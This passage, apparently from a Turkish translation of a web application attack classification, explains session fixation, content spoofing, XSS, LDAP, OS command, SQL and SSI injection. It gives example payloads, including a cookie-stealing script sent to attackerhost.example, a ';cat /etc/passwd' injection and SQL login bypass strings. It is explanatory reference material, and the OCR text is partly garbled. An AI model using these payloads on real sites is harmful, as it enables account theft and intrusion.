http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>.idc



2. META etiketi kullanarak ¢erez dagitma. Bu metod bir dnceki metoda benzemektedir, fakat XSS i¢in
alinan 6nlemlerin Meta etiketlerinin degil de HTML betik etiketlerinin sisteme sokulmasini 6nledigi
zamanlarda da etkilidir.

Kod Pargacigi

http://example/<meta%?20http-equiv=Set-
Cookie%?20content="sessionid=1234;%20domain=.example.dom">.idc

3. HTTP cevap bashigi ile ¢erez dagitma

Saldirgan ayni alandaki hedef web sitesinin veya bagka bir sitenin ¢erezini dagitmasini zorlar. Bu bir ¢ok
yolla gergeklestirilebilir:

e Ayni alandaki bir web sunucunun kirtlmasi (mesela iyi yonetilemeyen WAP sunucusu)

e Kullanicinin DNS sunucusunun zehirlenerek saldirganin web sitesinin alana dahil edilmesi

e Alanda kotii niyetli bir web sunucusu kurma (Ornegin windows 2000 etki alanindaki bir
bilgisayara, biitiin bilgisayarlar DNS alanindadir)

e HTTP cevap bolme saldirisinin kullanilmasi

Not: Uzun zamanli oturum belirleme saldirisi, oturumun bilgisayar tekrar acildiginda bile sabit kalmasim
saglayan kalici ¢erezler kullanilarak gerceklestirilebilir.

Kod Pargacigi:

http://example/<script>document.cookie="sessionid=1234;%20Expires=Friday,%201-
Jan2010%2000:00:00%20GMT";</script>.idc

Referanslar
“Session Fixation Vulnerability in Web-based Applications”, By Mitja Kolsek - Acros Security
http://www.acrossecurity.com/papers/session_fixation.pdf

“Divide and Conquer”, By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

9.3 Istemci Tarafli Saldirilar

Istemci tarafli saldir1 béliimii bir web sitesi kullanicilarmin istismar edilmesi iizerine odaklanir.
Saldirgan web sitesini ziyaret ettiginde, kullanici ile web sitesi arasinda teknolojik ve psikolojik
bir giiven kurulur. Kullanic1 web sitesinin gegerli i¢erik sunmasini bekler. Ayrica kullanici
kullanim sirasinda web sitesinin kendisine saldirmamasini da bekler. Saldirgan, kullaniciy1
istismar etmek i¢in bir ¢ok teknik kullanarak bu giiven iliskileri ile ilgili beklentileri kendi amaci
i¢in kullanir.

9.3.1 igerik Sahteciligi

icerik sahteciligi, kullanicinin bir web sitesindeki belirli icerigin mesru olduguna ve bu igerigin
harici bir kaynaga ait olmadigina inandirilmasini saglayan bir saldir1 teknigidir.

Bazi web sayfalari dinamik olarak iiretilen HTML igerikleri sunarlar. Ornegin, gergeve
kaynaginin yeri (<frame src = “http://foo.example/file.html”>) URL parametre degeri ile



belirlenebilir  (http://foo.example/page?frame src=http://foo.example/file.html). Saldirgan
“frame_src” parametresinin degerini “frame_src=http://attacker.example/spoof.html” degeri ile
degistirebilir. Sonug web sayfasi servis edildiginde, web tarayicisinin adres kisminda kullanicinin
bekledigi alana ait adres bulunur ama yabanci veri (attacker.example) normal igerikle
Ortilmiistiir.

Ozel olarak degistirilmis linkler, e-posta, aninda mesajlar, duyuru panolar1 mesajlar1 veya XSS
saldirist yollariyla kullanictya goénderilir. Eger saldirgan kendisi tarafindan belirlenmis koti
icerikli URL adresini kullanicinin ziyaret etmesini saglarsa, kullanici dogru icerige ulagsmadigi
halde ulastigina inanir. Kullanicilar sahte igerige giivenirler ¢linkii tarayicinin adres kisminda
“http://foo.example” adresinin yazili oldugunu goriirler oysa sayfasinin HTML c¢ergevesinin
referansi “http://attacker.example”dir.

Bu saldir1 kullanict ile web sitesi arasindaki gliveni istismar eder. Bu teknik giris formlari, tahrif
edilmis igerik ve yanlis yayin siirim bilgileri v.b iceren sahte web siteleri olugturmak igin
kullanilir.

Ornek

Sahte basin yayii olusturma. Bir web sitesinin basin web sayfalari i¢in dinamik olarak olusturulan HTML
gergeveleri kullandigimi  diisiinelim. Kullanici asagidaki gibi bir bagi ziyaret edecek olsun:
(http://foo.example/pr?pg=http://foo.example/pr/01012003.html)

Sonug web sayfasi su sekilde olur.
Kod Pargacigi:

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.htmI>
</FRAMESET>

</HTML>

Yukaridaki 6rnekte yer alan “pr” web uygulamasi, HTML sayfasini statik bir meniiden ve dinamik olarak
“FRAME SRC” kaynagindan olusturmustur. “pr_content” frame’i kaynagini istenen basin yayin igerigini
gostermek icin URL adresinden “pg” parametresi degiskeni olarak alir. Fakat saldirgan normal URL
adresini “http://foo.example/pr?pg=http://attacker.example/spoofed press release.html?” adresine cevirir
ve “pg” degeri web sunucu tarafindan kontrol edilmez ise sonu¢ HTML sayfasi su sekilde olusur:

Kod Pargacigi:

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="
http://attacker.example/spoofed press release.html">
</FRAMESET>

</HTML>



Son kullanici, “attacker.example” sahte igeriginin mesru ve dogru bir kaynaktan geliyormus oldugunu
diistiniir.

Referanslar
“A new spoof: all frames-based sites are vulnerable” - SecureXpert Labs
http://tbtf.com/archive/11-17-98.html#s02

9.3.2 Siteler Arasi (otesi) Betik Yazma

Siteler arasi (Otesi) betik yazma , web sitesinin saldirgan tarafindan belirlenen ¢aligtirilabilir kodu
normal bir kullanictya gondermesi ve bu kodun kullanict web tarayicisinda yiiklenerek
calismasiyla gerceklesen bir saldir1 ¢esidir.

Kodun kendisi genellikle HTML/Javascript olarak yazilir ama VBScript, ActiveX, Java, Flash
veya tarayici tarafindan desteklenen baska teknolojilere de ¢evrilebilir.

Saldirgan, kodunun kullanici web tarayicisinda calismasimi sagladiginda, kod sunucu web
sitesinin tarayici i¢in tanimli oldugu giivenlik zonu kapsaminda ¢alisacaktir. Bu seviyedeki hak,
kodun tarayici tarafindan erisilen her tiirlii hassas veriyi okuma, degistirme ve iletmesine olanak
saglar. XSS saldirisina maruz kalan kullanicinin hesabi ¢alinir (¢erezin ele ge¢mesi), kullanicinin
web tarayicisi baska bir adrese yonlendirilir veya ziyaret edilen web sitenin sundugu hileli igerik
kullaniciya gosterilir. XSS saldirilar1 esasen kullanict ile web sitesi arasindaki giliven iligkisini
bozar.

iki gesit XSS saldiris1 mevcuttur, kalic1 ve kalict olmayan. Kalici olmayan saldirilar kullanicinin
sahte kod iceren Ozel olarak degistirilmis baglar1 ziyaret etmesini gerektirir. Bag ziyaret
edildiginde, URL icine gomiilii kod istemci tarafina gonderilir ve kod kullanicinin web
tarayicisinda calisir. Kalict XSS saldirilarinda ise sahte kodlar belirli bir zaman depolandigi web
sitesine sunuldugunda gerceklesir. Mesaj panolari, web posta mesajlar1 ve web chat yazilimlar
saldirganin favori hedefleri arasindadir. Siipheli olmayan kullanicinin herhangi bir baga
tiklamasina gerek yoktur, sadece kodu i¢eren web sayfasini gormesi yeterlidir.

Ornek

1. Kalic saldir

Bir ¢ok web sitesi kayith kullanicilarin mesaj yollayabildigi ilan panolar1 sunarlar. Kayith kullanici, ilan
gondermek icin kendisine yetki veren cerez kullanilarak takip edilir. Eger saldirgan 6zel olarak
olusturulmus JavaScript kod iceren mesaj gonderirse, bu mesaji okuyan kullanicinin gerezleri ve hesabi
istismar edilebilir.

Cerez Calma Kod Pargacigi

<SCRIPT>

document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>

2. Kalict Olmayan Saldirt



Bir cok web portali web sitesinin kisisellestirilmis bir seklini sunar ve siteye giren kullanicilar1 “<Isminiz>
Hos Geldiniz” gibi bir ifade ile karsilar.

Bazen giris yapan kullaniciy1 belirleyen veri, URL'nin soru kelimesinde depolanir ve monitdrde gosterilir.
Portal URL Ornegi
http://portal.example/index.php?sessionid=12312312&username=Joe

Yukaridaki 6rnekte kullanici isminin (“Joe”) URL’de yer aldig1 goriilmektedir. Olusan web sayfasinda
“Joe, Hos Geldin” mesaj1 goriintiilenmektedir. Eger saldirgan, kullanici ismi alanini gerez g¢alabilen bir
JavaScript kodu yardimiyla degistirebilirse, kullanici hesabinin kontroliinii ele geg¢irme imkanina sahip
olabilir.

Cogu kisi URL’nin igerisine Javascript kodunun gomiilii oldugunu gordiigiinde siiphelendiginden
saldirganlar ¢cogunlukla katii igerikli veriyi URL kodlamasiyla asagidaki 6rnekteki gibi kodlayabilir.

URL kodlamasiyla kodlanmis ¢erez calma URL Grnegi:

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F %63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Cerez ¢alma URL 6rneginin ¢6ziimlenmis hali:

http://portal.example/index.php?sessionid=123123 12&username=<script>document.location="http://attack
erhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>

Referanslar
“CERT" Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests”
http://www.cert.org/advisories/CA-2000-02.html

“The Cross Site Scripting FAQ” - CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml

“Cross Site Scripting Info”
http://httpd.apache.org/info/css-security/

24 Character entity references in HTML 4”
http://www.w3.org/TR/html4/sgml/entities.html

“Understanding Malicious Content Mitigation for Web Developers”
http://www.cert.org/tech_tips/malicious_code mitigation.html

“Cross-site Scripting: Are your web applications vulnerable?”, By Kevin Spett - SPI Dynamics
http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf



“Cross-site Scripting Explained”, By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/WhitePaper CSS Explained.pdf

“HTML Code Injection and Cross-site Scripting”, By Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html

9.4 Komut Calistirma

Komut ¢alistirma boliimii, web sitelerinde uzaktan ¢alisilan komutlarla yapilan saldirilar1 kapsar.
Biitiin web siteleri talepleri karsilamak icin kullanici girdilerinden faydalanir. Cogu zaman bu
kullanicr girdileri dinamik web sitesi i¢erigi hazirlamada kullanilan komutlarin olusturulmasinda
kullanilir. Eger bu islem giivenli bir sekilde yapilmazsa, saldirgan komut calistirma islemini
degistirebilir.

9.4.1 Ara Bellek Tagmasi

Ara bellek tagmasi somiiriileri hafizanin bazi boliimlerinin iizerine yazarak uygulamanin akisini
degistiren saldirilardir. Ara bellek tasmasi hata ile sonuglanan genel bir yazilim kusurudur. Bu
hata durumu, ayrilan yerden daha c¢ok veri hafizada bir yere yazildiginda olusur. Bellek
tastiginda, komsu hafiza bolgelerinin iizerine yazilarak hatalara veya ¢okmelere neden olunur.
Kisitlanmadigr takdirde, ozellikle hazirlanmis girdi, bellek tasmasina sebep olarak bir¢ok
giivenlik sorununa neden olabilir.

Bellek tagmasinin, hafizay1r bozmasi yazilimin ¢okmesi ile sonuglanir ve bu sekilde hizmet dist
saldiris1 olarak kullanilabilir. Bellek tagsmasinin uygulama akisini degistirebilmesi ve programi
istenmeyen hareketlere zorlayabilmesi ise daha kritiktir. Bu senaryo bircok sekilde
gerceklesebilir. Bellek tagsmasi agikliklari, yigin isaretcilerinin lizerine yazmak suretiyle programi
yeniden yonlendirmek ve zararli kodlar ¢alistirmak i¢in kullanilmaktadir. Bellek tagmasi program
degiskenlerini degistirmek i¢in de kullanilmaktadir.

Bellek tagmasi agikliklar1 bilgi giivenligi endiistrisinde ¢ok kullanilir hale gelmekte ve cogu
zaman web sunucularini rahatsiz etmektedir. Bununla birlikte, bu acgikliklar genel olarak web
uygulAmasi katmaninda goriilmemekte ve sOmiiriilmemektedir. Buna bir numarali sebep,
saldirganin uygulamanin kaynak kodunu veya makine kodunu incelemesi gerekmesindendir.
Saldirganin uzaktaki bir sistemdeki rastgele bir kodu somiirmesi gerektiginden, saldirganlar kor
saldir1 uygulamak zorundadirlar ve bu da basar1 ihtimalini ¢ok ¢ok aza indirmektedir.

Bellek tagsmasi agikliklari genellikle C ve C++ gibi programlama dillerinde meydana gelir. Bir
Bellek tasmasi bir CGI programinda veya bir C programina ulasan bir web sayfasinda meydana
gelebilir.

Referans
“Inside the Buffer Overflow Attack: Mechanism, Method and Prevention”, By Mark E. Donaldson - GSEC
http://www.sans.org/rr/code/inside buffer.php

“w00w00 on Heap Overflows”, By Matt Conover - wOOw00 Security Team
http://www.w00w00.org/files/articles/heaptut.txt

“Smashing The Stack For Fun And Profit”, By Aleph One - Phrack 49
http://www.insecure.org/stf/smashstack.txt



http://www.sans.org/rr/code/inside_buffer.php
http://www.w00w00.org/files/articles/heaptut.txt
http://www.insecure.org/stf/smashstack.txt

9.4.2 Dizgi Formati Saldirisi

Dizgi format1 saldirilar1 dizgi bi¢cimlendirme kiitliphanesinin 6zelliklerini kullanarak diger hafiza
boéliimlerine ulasir ve bu sekilde uygulamanin akigimi degistirir. Acikliklar, istemci tarafli
verilerin baz1 C/C++ fonksiyonlarinda dogrudan kullanilmast sonucu olsur. (6rn. fprintf, printf,
sprintf, setproctitle, syslog, ...).

Eger bir saldirgan, web uygulamasina parametre olarak printf degistirme karakterlerinden olusan
bir dizgi format1 verirse, sunlara sebep olabilir:

e sunucudaki rastgele herhangi bir kodun galistirilmasina,
e vyigindan deger okunup atilmasina
e kesimleme hatalarina (segmentation fault)/ yazilimin ¢dkmesine

Ornek
Farzedelim ki bir web uygulamasi, kullanici tarafindan belirlenen bir emailAddress parametresine sahip.
Bu uygulama bu degiskenin degerini printf fonksiyonunu kullanarak yazdirsin:

printf(email Address);

Eger emailAddress ile gonderilen parametre, bigim karakterlerini i¢eriyorsa, printf bu karakterleri tanir, ve
fazladan verilen argiimanlari kullanir. Eger boyle arglimanlar bulunmazsa, veri yigindan, printf
fonksiyonunun bekledigi sirada uygun olarak alinir ve kullanilir.

Dizgi formati saldirilarinin bu sekildeki durumlarda olast kullanimlari soyle olabilir:

1. Yigindan veri okumak: Eger printf fonksiyonunun ¢ikt1 akisi saldirgana geri sunuluyorsa, saldirgan,
“%x” degistirme karakterini (bir veya daha fazla kez) yollayarak yigindaki degerleri okuyabilir.

2. Hafizada isleme ayrilan bolimden karakter dizileri okumak: Eger printf fonksiyonunun ¢ikti akist
saldirgana geri sunuluyorsa, saldirgan, “%s” degistirme karakterini kullanarak rastgele hafiza
bolgelerindeki karakter dizilerini okuyabilir. (ve diger belirli bolgelere ulagmak i¢in diger degistirme
karakterleri)

3. Hafizada isleme ayrilan boliimdeki yerlere tamsay1 yazmak: “%n” degistirme karakterini kullanarak,
bir saldirgan, hafizadaki herhangi bir bolgeye bir say1 degeri yazabilir. (Orn. programm erisim
ayricaliklarii kontrol eden degerlerin veya fonksiyonlarin doniis adreslerinin {izerine yazmak, vb.
gibi.)

Kaynak
“(Maybe) the first publicly known Format Strings exploit”
http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html

“Analysis of format string bugs”, By Andreas Thuemmel
http://downloads.securityfocus.com/library/format-bug-analysis.pdf

1)

“Format string input validation error in wu-ftpd site_exec() function’
http://www.kb.cert.org/vuls/id/29823



http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html
http://downloads.securityfocus.com/library/format-bug-analysis.pdf
http://www.kb.cert.org/vuls/id/29823

9.4.3 LDAP Enjeksiyonu

LDAP enjeksiyonu kullanict girdilerinden LDAP ciimleleri olusturan web sitelerini somiirmeye
yarayan bir saldir1 teknigidir.

Lightweight Directory Access Protocol (LDAP) X.500 dizin servislerini diizenlemeye ve
sorgulamaya yarayan agik standartli bir protokoldiir. LDAP protokolii TCP gibi internet tagima
protokollerinin iizerinde calisir. Web uygulamlari, dinamik web taleplerini karsilamak igin,
kullanicr girdileri ile olusturulan LDAP ciimleleri kurar ve kullanir.

Eger kullanilan bu kullanic1 girdileri diizgiin bir sekilde denetlenmezse, bir saldirgan LDAP
climlesinin olusumunu degistirebilir. Saldirgan LDAP ciimlelerini degistirebilirse, bu islem
komutu calistiran 6genin haklariyla calisir. (Orn. Veritabani sunucusu, Web uygulamasi
sunucusu, Web sunucusu, vb.) Bu haklarin LDAP agacindaki herseyin sorgulanmasini,
degistirilmesini veya silinmesini sagladigindan, ciddi giivenlik problemlerine sebep olabilir.

Ayni gelismis somiirii teknikleri SQL enjeksiyonu i¢in de gegerlidir ve LDAP enjeksiyonuna
benzer bir sekilde uygulanabilir.

Ornek
Yorumlarla Ag¢ikligir Bulunan Kod:

Satir 0: <html>

Satir 1: <body>

Satir 2: <%(@ Language=VBScript %>
Satir 3: <%

Satir 4: Dim userName

Satir 5: Dim filter

Satir 6: Dim 1dapObj

Satir 7:

Satir 8: Const LDAP_SERVER = "Idap.example"

Satir 9:

Satir 10: userName = Request.QueryString("user")

Satir 11:

Satir 12: if( userName = "" ) then

Satir 13: Response. Write("<b>Gegersiz talep. Liitfen gegerli bir kullanici ismi ve parolasi
giriniz</b><br>")

Satir 14: Response.End()

Satir 15: end if

Satir 16:

Satir 17:

Satir 18: filter = "(uid=" + CStr(userName) + ")" ' kullanic1 girdisini artyor
Satir 19:

Satir 20:

Satir 21: 'LDAP objesini olusturuyor ve temel dn’i tanimliyor

Satir 22: Set 1dapObj = Server.CreateObject("[PWorksASP.LDAP")

Satir 23: ldapObj.ServerName = LDAP SERVER

Satir 24: 1dapObj.DN = "ou=people,dc=spilab,dc=com"

Satir 25:

Satir 26: 'arama filtresini tanimliyor



Satir 27: ldapObj.SearchFilter = filter

Satir 28:

Satir 29: ldapObj.Search

Satir 30:

Satir 31: 'Kullanicr bilgisini gosteriyor

Satir 32: While IdapObj.NextResult = 1

Satir 33: Response. Write("<p>")

Satir 34:

Satir 35: Response. Write("<b><u>User information for : " +ldapObj.AttrValue(0) +
"<u></b><br>")

Satir 36: For i =0 To IdapObj.AttrCount -1

Satir 37: Response.Write("<b>" +  IdapObj.AttrType(i) +"<b> : " +
1dapObj.AttrValue(i) + "<br>")

Satir 38: Next

Satir 39: Response. Write("</p>")

Satir 40: Wend

Satir 41: %>
Satir 42: </body>
Satir 43: </html>

Koda baktigimizda, 10. satirda userName degiskeninin user parametresiyle baslatildigini ve ardindan hizla
bos olup olmadigmin kontrol edildigini goriiyoruz. Eger deger bos degilse, userName 18. satirda filter
degiskenine ilk degeri ataniyor. Bu yeni degisken ise 27. satirda SearchFilter’a yapilan ¢agrida kullanilan
LDAP sorgusunu olusturmak i¢in dogrudan kullaniliyor. Bu senaryoda, saldirgan LDAP sunucusu
tizerindeki sorguda mutlak kontrole sahip, ve sorgusunun sonuglarini 32. ve 40. satirlar arasinda, biitiin
sonuglar ve ozellikleri kullanictya tekrar gosterildiginde alacaktir.

Saldir1 Ornegi

http://example/ldapsearch.asp?user=*

Yukaridaki ornekte, user parametresi olarak * karakterini gonderiyoruz, ve sonug olarak koddaki filter
degiskenine * ilk degeri ataniyor (uid=*). Sonuglanan LDAP ciimlesi sunucuya uid 6zelligi bulunan her

objeyi dondiirmesini saglayacaktir.

Kaynaklar
“LDAP Injection: Are Your Web Applications Vulnerable?”, By Sacha Faust - SPI Dynamics
http://www.spidynamics.com/whitepapers/LDAPinjection.pdf

“A String Representation of LDAP Search Filters”
http://www.ietf.org/rfc/rfc1960.txt

“Understanding LDAP”
http://www.redbooks.ibm.com/redbooks/SG244986.html

“LDAP Resources”
http://Idapman.org/


http://www.spidynamics.com/whitepapers/LDAPinjection.pdf
http://www.ietf.org/rfc/rfc1960.txt
http://www.redbooks.ibm.com/redbooks/SG244986.html
http://ldapman.org/

9.4.4 isletim Sistemi Yénetme

Isletim Sistemi Y®6netme, uygulama girdilerinin diizenlenmesi yoluyla isletim sistemi komutlarin
calistirma ve bu sekilde web sitelerini somiirme teknigidir.

Web uygulamasi kullanici-kaynakli girdileri uygulama kodunda kullanmadan 6nce diizgiin bir
bicimde denetlemedigi takdirde, uygulamayi isletim sisteminin komutlarini ¢alistiracak bigcimde
kandirmak miimkiin olabilir. Calistirilan komutlar ¢alistiran kismin haklariyla ¢alisirlar. (6rn.
Veritabani sunucusu, Web uygulamasi sunucusu, Web sunucusu, etc.)

Ornek
Perl, dosya isminin arkasina ‘|’(aktarim karakteri) eklemek suretiyle, bir isten bir open ciimlesine veri
aktarimina izin verir.

Aktarim Karakteri(|) Ornekleri:
# “/bin/ls” ’i ¢aligtirma ve ¢iktiy1 open climlesine aktarma:
open(FILE, “/bin/Is|”)

Web uygulamalari, ¢ogu zaman, gorlintiilenen veya sablon olarak kullanilan bir dosyay1 belirten
parametreler igerir. Eger web uygulamasi kullanicinin sagladigi girdileri diizglin  bir bigimde
denetlemezse, saldirgan parametre degerini kabuk komutu ve akabinde aktarim sembolii olacak bigimde
degistirebilir (yukarida gosterildigi gibi).

Web uygulamasinin orjinal URL’si:

http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt ise;

sablon parametresinin degerini degistirerek, saldirgan web uygulamasini /bin/ls komutunu ¢alisitiracak
sekilde kandirabilir.

http://example/cgi-bin/showlInfo.pl?name=John&template=/bin/ls|

Birgok betik dili, degisik exec fonksiyonlarini kullanarak, programciya yiiriitme esnasinda isletim sistemi
komutlar1 galigtirma izni verir. Eger bir web uygulamasi kullanici kaynakli girdinin denetlenmeden boyle
bir fonksiyon c¢agrisinin igerisinde kullanilmasina izin verirse, saldirganin uzaktan isletim sistemi
komutlar1 ¢alistirmast miimkiin hale gelir. Ornegin, asagidaki PHP betiginin pargasi, sistem klasdriiniin
icerigini gosterir (Unix sistemlerinin):

exec("ls -la $dir",$lines,$rc);

Kabuk komutunun, sonuna noktali virgiil (;) ve igletim sistemi komutu ekleyerek ¢alisirsa, web uygulmasi
ikinci komutu ¢alistirmaya zorlanabilir:

http://example/directory.php?dir=%3Bcat%20/etc/passwd

Sonug /etc/passwd dosyasinin igerigini dondiirecektir.

Kaynaklar

“Perl CGI Problems”, By RFP - Phrack Magazine, Issue 55
http://www.wiretrip.net/rfp/txt/phrack55.txt

(See “That pesky pipe” section)

“Marcus Xenakis directory.php Shell Command Execution Vulnerability”


http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt
http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
http://example/directory.php?dir=%3Bcat%20/etc/passwd
http://www.wiretrip.net/rfp/txt/phrack55.txt

http://www.securityfocus.com/bid/4278

“NCSA Secure Programming Guidelines”
http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#cgi

9.4.5 SQL Enjeksiyonu

SQL enjeksiyonu, kullanic1 kaynakli girdilerden SQL cilimleleri olusturan web sitelerini
somiirmek i¢in kullanilan bir saldir1 teknigidir.

Structured Query Language (SQL) veritabanlarina sorgu yapmak iizerine oOzellesmis bir
programlama dilidir. Bir¢ok kii¢iik ve endiistriyel giigteki veritabani uygulamalarma SQL
climleleri araciligiyla ulasilabilir. SQL hem ANSI hem de ISO standardidir. Fakat, SQL’i
destekleyen birgok veritabani iiriinii standart dile 6zel eklentiler getirir. Web uygulamalari
kullanic1 kaynakli girdileri, dinamik web sayfasi talepleri icin, degisik SQL ciimleleri
olusturmada kullanabilir.

Eger bir web uygulamasi, kullanici kaynakli girdiyi diizgiin bir bi¢imde denetlemezse, bir
saldirgan arka taraftaki SQL ciimlesi olusumunu degistirebilir. Saldirgan SQL cilimlesini
degistirdiginde, islem komutu calistiran 6genin haklariyla ¢alisacaktir. (6rn. veritabani sunucusu,
web uygulamasi, web sunucusu, vb.) Bu saldirinin sonucu olarak saldirgan, veritabaninin
tamaminin kontroliinii eline gegirebildigi gibi, sistem lizerinde de komutlar ¢aligtirabilir.

LDAP enjeksiyonu igin gecerli olan gelismis sOmiirme teknikleri benzer bir bicimde SQL
enjeksiyonunda da uygulanabilir.

Ornek

Bir web tabanli kimlik dogrulama formu soyle bir koda sahip olabilir:

SQLQuery = "SELECT Username FROM Users WHERE Username = "' & strUsername & "' AND
Password ="' & strPassword & "™ strAuthCheck = GetQueryResult(SQLQuery)

Bu kodda, gelistirici kullanici girdisini formdan alip dogrudan SQL sorgusunun i¢ine gémiiyor.
Farzedelim ki, saldirgan sdyle bir kullanic1 adi1 ve parola giriyor:

Login: ' OR "='
Password: ' OR "='

Bu, sonuglanan SQL sorgusunun sdyle olmasina sebep olur:

SELECT Username FROM Users WHERE Username =" OR "=" AND Password =" OR "="

n n

Kullanicilar tablosundaki bilgilerle kullanicinin girdigi bilgileri karsilastirmak yerine, sorgu " ile
karakterlerini karsilastiriyor. Bu karsilagtirma dogru sonug¢ donecek ve saldirgan kullanicilar listesindeki
ilk kullanici olarak sisteme girecektir.

Genel olarak bilinen iki SQL enjeksiyon metodu bulunmaktadir: Normal SQL enjeksiyonu ve
Kor SQL Enjeksiyonu. Ilkinde, vanilya SQL enjeksiyonu, saldirgan, gelistiricinin sorgusuyla
uyusmast i¢in, kendi sorgusunu donen hata mesajlarindaki bilgileri kullanarak bi¢cimlendirir.


http://www.securityfocus.com/bid/4278
http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#cgi

1. Normal SQL Enjeksiyonu
Parametreye “union select” ciimlesi ekleyerek saldirgan veritabanina giris hakki kazanip
kazanamayacagini test edebilir.

http://example/article.asp?ID=2+union+all+select+tname+from+sysobjects

SQL sunucusu suna benzer bir hata dondiirebilir:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing
a UNION operator must have an equal number of expressions in their target lists.

Bu, saldirgana, SQL cilimlesinin ¢alisabilmesi igin gerekli siitun sayisini tahmin etmesi
gerektigini soyler.

2. Kor SQL Enjeksiyonu

Kor SQL Enjeksiyonunda sunucu veritabani hatasi yerine kullanici dostu bir hata sayfasi
dondiirerek kullaniciya bir hata yaptigini bildirir. Bu durumda, SQL enjeksiyonu hala yapilabilir,
fakat kesfedilmesi o kadar kolay olmaz. Kér SQL enjeksiyonunun kesfedilmesinde parametre
degerine dogru veya yanlis climleler girilmesi ortak kullanilan bir yoldur.

Bir web sitesi, su talep yapildiginda:

http://example/article.asp?ID=2+and+1=1

bu taleple ayn1 sonucu dondiirmelidir,

http://example/article.asp?1D=2

clinkli 1=1 SQL ciimlesi her zaman dogrudur.
Bir web sitesi, su talep yapildiginda:

http://example/article.asp?ID=2+and+1=0

kullanici1 dostu bir hata sayfas1 dondiirecek veya hi¢bir sayfa dondiirmeyecektir. Cilinkii, and 1=0
SQL cilimlesi her zaman yanlis bir climledir.

Saldirgan sitenin kor SQL enjeksiyonuna acik oldugunu farkettiginde, bazi durumlarda, bu
aciklig1 normal SQL enjeksiyonundan daha kolay bir sekilde somiirebilir.

Kaynak
“SQL Injection: Are your Web Applications Vulnerable” - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf

“Blind SQL Injection: Are your Web Applications Vulnerable” - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf



http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
http://example/article.asp?ID=2+and+1=1
http://example/article.asp?ID=2
http://example/article.asp?ID=2+and+1=0
http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf

“Advanced SQL Injection in SQL Server Applications”, Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/advanced sql injection.pdf

“More advanced SQL Injection”, Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/more_advanced sql injection.pdf

“Web Application Disassembly with ODBC Error Messages”, David Litchfield - @stake
http://www.nextgenss.com/papers/webappdis.doc

“SQL Injection Walkthrough”
http://www.securiteam.com/securityreviews/SDPON1P76E.html

“Blind SQL Injection” - Imperva
http://www.imperva.com/application defense center/white papers/blind sql server injection.html

“SQL Injection Signatures Evasion” - Imperva
http://www.imperva.com/application _defense center/white papers/sql injection signatures evasion.html

“Introduction to SQL Injection Attacks for Oracle Developers”-Integrigy
http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf

9.4.6 SSI Enjeksiyonu

SSI Enjeksiyonu (Server-side Include) bir saldirganin, bir web uygulamasina, daha sonradan web
sunucusu tarafindan yerel olarak calistirilmasi i¢in, kod gondermesine izin veren bir somiiri
teknigidir. SSI enjeksiyonu, web uygulmasimin kullanict kaynakli veriyi sunucu tarafinda
hazirlanan HTML dosyasina denetim yapmadan koymasi hatasini somiiriir.

Bir web sunucusu HTML web sayfasini sunmadan once, sunucu tarafli Include climleleri bulup
calistirabilir. Bazi durumlarda (6rn. mesaj tahtalari, misafir defterleri, veya igerik yonetim
sistemleri), web uygulamasi kullanici kaynakli verileri web sayfasinin kaynak kodunun igine
koyar.

Eger bir saldirgan sunucu tarafli Include climleleri yollarsa, keyfi isletim sistemi komutlari
calistirabilme yetenegine sahip olabilir, veya kisitlh bir dosyanin igerigini sayfanin bir sonraki
servisine dahil ettirebilir.

Ornek
Takip eden SSI etiketi (tag), bir saldirganin, bir UNIX tabanli sistemin kok dizininin listesini almasini
saglar.

<!--#exec cmd="/bin/Is /"' -->

Takip eden SSI etiketi, bir saldirganin, bir .NET konfigiirasyon dosyasinda saklanan veritabani baglanti
dizesini veya baska hassas verileri elde etmesini saglar.

<!--#INCLUDE VIRTUAL="/web.config"-->

Kaynak
“Server Side Includes (SSI)” - NCSA HTTPd
http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html
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“Security Tips for Server Configuration” - Apache HTTPD
http://httpd.apache.org/docs/misc/security_tips.html#ssi

“Header Based Exploitation: Web Statistical Software Threats” - CGISecurity.com
http://www.cgisecurity.net/papers/header-based-exploitation.txt

“A practical vulnerability analysis”
